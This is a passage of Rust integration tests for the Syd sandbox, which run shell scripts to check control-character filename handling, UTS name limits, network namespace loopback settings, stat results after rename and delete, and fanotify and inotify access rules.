test -e $'./mccd/test_multi_control_dir\x01\x02\x03' && r=8
mkdir $'./mccd/test_\x1F_unit_sep_dir' && r=9
test -e $'./mccd/test_\x1F_unit_sep_dir' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mkdir_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:1")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccu || exit 127
mkdir $'./mccu/test_alert_dir\a' || r=1
test -e $'./mccu/test_alert_dir\a' || r=2
mkdir $'./mccu/test_vertical_tab_dir\v' || r=3
test -e $'./mccu/test_vertical_tab_dir\v' || r=4
mkdir $'./mccu/test_form_feed_dir\f' || r=5
test -e $'./mccu/test_form_feed_dir\f' || r=6
mkdir $'./mccu/test_multi_control_dir\x01\x02\x03' || r=7
test -e $'./mccu/test_multi_control_dir\x01\x02\x03' || r=8
mkdir $'./mccu/test_\x1F_unit_sep_dir' || r=9
test -e $'./mccu/test_\x1F_unit_sep_dir' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_touch_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,utime:on")
        .m("allow/read,stat,write,create,utime+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccd || exit 127
touch $'./tccd/test_alert_file\a' && r=1
test -e $'./tccd/test_alert_file\a' && r=2
touch $'./tccd/test_vertical_tab_file\v' && r=3
test -e $'./tccd/test_vertical_tab_file\v' && r=4
touch $'./tccd/test_form_feed_file\f' && r=5
test -e $'./tccd/test_form_feed_file\f' && r=6
touch $'./tccd/test_multi_control_file\x01\x02\x03' && r=7
test -e $'./tccd/test_multi_control_file\x01\x02\x03' && r=8
touch $'./tccd/test_\x1F_unit_sep_file' && r=9
test -e $'./tccd/test_\x1F_unit_sep_file' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_touch_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:true")
        .m("sandbox/read,stat,write,create,utime:on")
        .m("allow/read,stat,write,create,utime+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccu || exit 127
touch $'./tccu/test_alert_file\a' || r=1
test -e $'./tccu/test_alert_file\a' || r=2
touch $'./tccu/test_vertical_tab_file\v' || r=3
test -e $'./tccu/test_vertical_tab_file\v' || r=4
touch $'./tccu/test_form_feed_file\f' || r=5
test -e $'./tccu/test_form_feed_file\f' || r=6
touch $'./tccu/test_multi_control_file\x01\x02\x03' || r=7
test -e $'./tccu/test_multi_control_file\x01\x02\x03' || r=8
touch $'./tccu/test_\x1F_unit_sep_file' || r=9
test -e $'./tccu/test_\x1F_unit_sep_file' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utsname_host() -> TestResult {
    skip_unless_available!("awk", "sh");

    let syd_uts = &SYD_UTS.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .m("uts/host:")
        .argv(["sh", "-c"])
        .arg(format!(
            r##"
#!/bin/sh

gethostname() {{
    {syd_uts} -n
}}

sethostname() {{
    test -c "/dev/syd/uts/host:$1"
    r=$?
    echo >&2 "SETHOSTNAME $1: $r"
    return $r
}}

# Name may be empty.
test x"$(gethostname)" = x'' || exit 1

# Name is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=1;i<64;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    sethostname "$name" || exit 2
    test "$(gethostname)" = "$name" || exit 3
done

# Name is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    if sethostname "$name"; then
        exit 4
    fi
done
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utsname_domain() -> TestResult {
    skip_unless_available!("awk", "sh");

    let syd_uts = &SYD_UTS.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .m("uts/domain:")
        .argv(["sh", "-c"])
        .arg(format!(
            r##"
#!/bin/sh

getdomainname() {{
    {syd_uts} -d
}}

setdomainname() {{
    test -c "/dev/syd/uts/domain:$1"
    r=$?
    echo >&2 "SETDOMAINNAME $1: $r"
    return $r
}}

# Name may be empty.
test x"$(getdomainname)" = x'' || exit 1

# Name is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=1;i<64;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    setdomainname "$name" || exit 2
    test "$(getdomainname)" = "$name" || exit 3
done

# Name is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    if setdomainname "$name"; then
        exit 4
    fi
done
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utsname_version() -> TestResult {
    skip_unless_available!("awk", "sh");

    let syd_uts = &SYD_UTS.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .m("uts/version:")
        .argv(["sh", "-c"])
        .arg(format!(
            r##"
#!/bin/sh

getversion() {{
    {syd_uts} -v
}}

setversion() {{
    test -c "/dev/syd/uts/version:$1"
    r=$?
    echo >&2 "SETVERSION $1: $r"
    return $r
}}

# Version may be empty.
test x"$(getversion)" = x'' || exit 1

# Version is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=1;i<64;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    setversion "$name" || exit 2
    test "$(getversion)" = "$name" || exit 3
done

# Version is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
    if setversion "$name"; then
        exit 4
    fi
done
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_unshare_net_set_up_loopback() -> TestResult {
    skip_unless_available!("grep", "ip");
    skip_unless_unshare!("user", "net");

    let status = syd()
        .p("off")
        .m("allow/net/link+route")
        .m("unshare/user,net:1")
        .argv(["/bin/sh", "-cex"])
        .arg("ip address show lo | grep -q LOOPBACK,UP")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_unshare_net_set_bigtcp_loopback_gro_max() -> TestResult {
    skip_unless_available!("cut", "grep", "ip");
    skip_unless_unshare!("user", "net");
    skip_unless_iproute2!();

    let output = syd()
        .p("off")
        .m("allow/net/link+route")
        .m("unshare/user,net:1")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .argv(["/bin/sh", "-cex"])
        .arg("ip -d link show lo | grep -oE 'gro_max_size [0-9]+' | cut -d' ' -f2")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let mut max = output.stdout;
    max.pop(); // trim newline.
    let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
    assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);

    Ok(())
}

fn test_syd_unshare_net_set_bigtcp_loopback_gro_ipv4_max() -> TestResult {
    // GRO_IPV4_MAX is new in Linux>=6.3.
    let (major, minor) = *syd::config::KERNEL_VERSION;
    if !(major > 6 || (major == 6 && minor >= 3)) {
        eprintln!("BIG TCP is not supported for IPv4 on this kernel, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    skip_unless_available!("cut", "grep", "ip");
    skip_unless_unshare!("user", "net");
    skip_unless_iproute2!();

    let output = syd()
        .p("off")
        .m("allow/net/link+route")
        .m("unshare/user,net:1")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .argv(["/bin/sh", "-cex"])
        .arg("ip -d link show lo | grep -oE 'gro_ipv4_max_size [0-9]+' | cut -d' ' -f2")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let mut max = output.stdout;
    max.pop(); // trim newline.
    let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
    assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);

    Ok(())
}

fn test_syd_unshare_net_set_bigtcp_loopback_gso_max() -> TestResult {
    skip_unless_available!("cut", "grep", "ip");
    skip_unless_unshare!("user", "net");
    skip_unless_iproute2!();

    let output = syd()
        .p("off")
        .m("allow/net/link+route")
        .m("unshare/user,net:1")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .argv(["/bin/sh", "-cex"])
        .arg("ip -d link show lo | grep -oE 'gso_max_size [0-9]+' | cut -d' ' -f2")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let mut max = output.stdout;
    max.pop(); // trim newline.
    let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
    assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);

    Ok(())
}

fn test_syd_unshare_net_set_bigtcp_loopback_gso_ipv4_max() -> TestResult {
    // GSO_IPV4_MAX is new in Linux>=6.3.
    let (major, minor) = *syd::config::KERNEL_VERSION;
    if !(major > 6 || (major == 6 && minor >= 3)) {
        eprintln!("BIG TCP is not supported for IPv4 on this kernel, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    skip_unless_available!("cut", "grep", "ip");
    skip_unless_unshare!("user", "net");
    skip_unless_iproute2!();

    let output = syd()
        .p("off")
        .m("allow/net/link+route")
        .m("unshare/user,net:1")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .argv(["/bin/sh", "-cex"])
        .arg("ip -d link show lo | grep -oE 'gso_ipv4_max_size [0-9]+' | cut -d' ' -f2")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let mut max = output.stdout;
    max.pop(); // trim newline.
    let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
    assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);

    Ok(())
}

fn test_syd_unshare_user_bypass_limit() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_create:1")
        .do_("unshare_user_bypass_limit", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_reg_1() -> TestResult {
    skip_unless_available!("sh", "unlink");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test
test -e test
unlink test/ && exit 1 || true
unlink test
test -e test && exit 2 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_reg_2() -> TestResult {
    skip_unless_available!("sh", "unlink");

    // Start a process to unlink the file outside Syd.
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg("sleep 5; exec unlink test")
        .spawn()
        .expect("execute sh");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test
test -e test
sleep 10
test -e test && exit 1 || true
    "##,
        )
        .status()
        .expect("execute syd");

    child.wait().expect("wait sh");

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_1() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test && exit 1 || true
rmdir test
test -e test && exit 2 || true
test -d test && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_2() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test/ && exit 1 || true
rmdir test/
test -e test && exit 2 || true
test -d test && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_3() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test/
test -d test/
unlink test/ && exit 1 || true
rmdir test/
test -e test/ && exit 2 || true
test -d test/ && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_reg_1() -> TestResult {
    skip_unless_available!("sh", "mv");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
if ! mv -v --exchange test.1 test.2; then
    mv -v test.1 foo
    mv -v test.2 test.1
    mv -v foo test.2
fi
test -p test.1
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_reg_2() -> TestResult {
    skip_unless_available!("sh", "mv");

    // Start a process to rename the files outside Syd.
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg("sleep 5; mv -v --exchange test.1 test.2 || ( mv -v test.1 foo; mv -v test.2 test.1; mv -v foo test.2 )")
        .spawn()
        .expect("execute sh");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
sleep 10
test -p test.1
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");

    child.wait().expect("wait sh");

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_1() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1 test.2; then
    mv -v test.1 foo
    mv -v test.2 test.1
    mv -v foo test.2
fi
test -f test.1
test -d test.2
test -d test.2/
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1/ test.2; then
    mv -v test.2 foo
    mv -v test.1/ test.2
    mv -v foo test.1
fi
test -d test.2
test -d test.2/
test -f test.1
if ! mv -v --exchange test.2/ test.1; then
    mv -v test.1 foo
    mv -v test.2/ test.1
    mv -v foo test.2
fi
test -d test.1
test -d test.1/
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_3() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
mkdir test.2
test -e test.1
test -e test.2
test -e test.1/
test -e test.2/
test -d test.1
test -d test.2
test -d test.1/
test -d test.2/
mv -v test.1/ test.2/
test -e test.1 && exit 1 || true
test -e test.1/ && exit 2 || true
test -d test.1 && exit 3 || true
test -d test.1/ && exit 4 || true
test -e test.2
test -e test.2/
test -d test.2
test -d test.2/
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_4() -> TestResult {
    skip_if_root!();
    skip_unless_available!("bash", "tar");

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
#!/usr/bin/env bash
#
# Reproduces the "keep-directory-symlink" test from the GNU tar test suite.

# ------------------------------------------------------------------------------
# STEP 1: Create input directories and tar archives.
# We produce three sets of input data: ina, inb, inc.
# Each contains root/dir, root/dirsymlink, with some files, then archived.
# ------------------------------------------------------------------------------
for letter in a b c; do
  input_dir="in${letter}"
  mkdir -p "${input_dir}/root/dir" "${input_dir}/root/dirsymlink"

  # Create a unique file in each dirsymlink
  touch "${input_dir}/root/dirsymlink/file${letter}"

  # For b and c, also create 'file.conflict'
  if [[ "${letter}" != "a" ]]; then
    touch "${input_dir}/root/dirsymlink/file.conflict"
  fi

  # Archive the contents of ${input_dir}/root into archive${letter}.tar
  tar cf "archive${letter}.tar" -C "${input_dir}" root
done

# ------------------------------------------------------------------------------
# Define helper functions used by the test logic.
# ------------------------------------------------------------------------------
prep_test_case() {
  # Prints a label, sets up a clean output directory with the needed symlink,
  # and optionally enters that directory if we're in 'normal' round.
  test_case_name="$1"
  echo "== ${test_case_name} =="
  echo "== ${test_case_name} ==" >&2

  backup_dir="${test_case_name}"
  output_dir="out"

  mkdir -p "${output_dir}/root/dir"
  ln -s dir "${output_dir}/root/dirsymlink"

  if [[ "${round}" == "normal" ]]; then
    cd "${output_dir}" >/dev/null || exit 1
  fi
}

clean_test_case() {
  # Leaves the 'out' directory, lists its contents, and renames it to backup_dir.
  if [[ "${round}" == "normal" ]]; then
    cd .. >/dev/null || exit 1
  fi

  # Print directory listing, sorted
  find "${output_dir}" | sort
  mv "${output_dir}" "${backup_dir}"
}

compose_file_spec() {
  # Returns either "-f ../archiveX.tar" if round=normal
  # or "-f archiveX.tar -C out" if round=dir
  local archive_name="$1"
  if [[ "${round}" == "normal" ]]; then
    echo "-f ../${archive_name}"
  else
    echo "-f ${archive_name} -C ${output_dir}"
  fi
}

# ------------------------------------------------------------------------------
# STEP 2: Run the tests for two "round" modes: "normal" and "dir".
# ------------------------------------------------------------------------------
for round in normal dir; do

  # ---- WITHOUT OPTION ----
  prep_test_case "without_option_${round}"

  # Extract from archivea.tar, then archiveb.tar
  tar -x $(compose_file_spec "archivea.tar") || exit 1
  tar -x $(compose_file_spec "archiveb.tar") || exit 1

  clean_test_case

  # ---- WITH --keep-directory-symlink ----
  prep_test_case "with_option_${round}"

  # Extract from archivea.tar, then archiveb.tar, but preserve the symlink
  tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") || exit 1
  tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") || exit 1

  clean_test_case

  # ---- COLLISION TEST (using --keep-directory-symlink and --keep-old-files) ----
  prep_test_case "collision_${round}"

  tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") --keep-old-files || exit 1
  tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") --keep-old-files || exit 1
  # The following extraction must fail due to file.conflict
  tar -x --keep-directory-symlink $(compose_file_spec "archivec.tar") --keep-old-files && exit 1

  clean_test_case

done

# If we reached here, everything worked as expected.
true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_profile_user_list_proc_self_fd() -> TestResult {
    skip_unless_available!("grep", "ls", "sh");

    let status = syd()
        .p("user")
        .argv(["sh", "-cex"])
        .arg("ls -l /proc/self/fd | grep -qE '0[[:space:]]+->'")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_cwd_allow() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_cwd_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_path_allow() -> TestResult {
    let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
    let (dir, path) = cwd.split();
    let dir = dir.to_string();
    let path = path.to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_path_deny() -> TestResult {
    let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
    let (dir, path) = cwd.split();
    let dir = dir.to_string();
    let path = path.to_string();
    let cwd = cwd.to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,chdir,readdir+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_symlink_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_inotify_add_watch_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_allow() -> TestResult {
    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Inotify is disabled by default.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_exp_interrupt_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("interrupt_mkdir", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_bind_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .do_("interrupt_bind_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_bind_unix() -> TestResult {
    let status = syd()
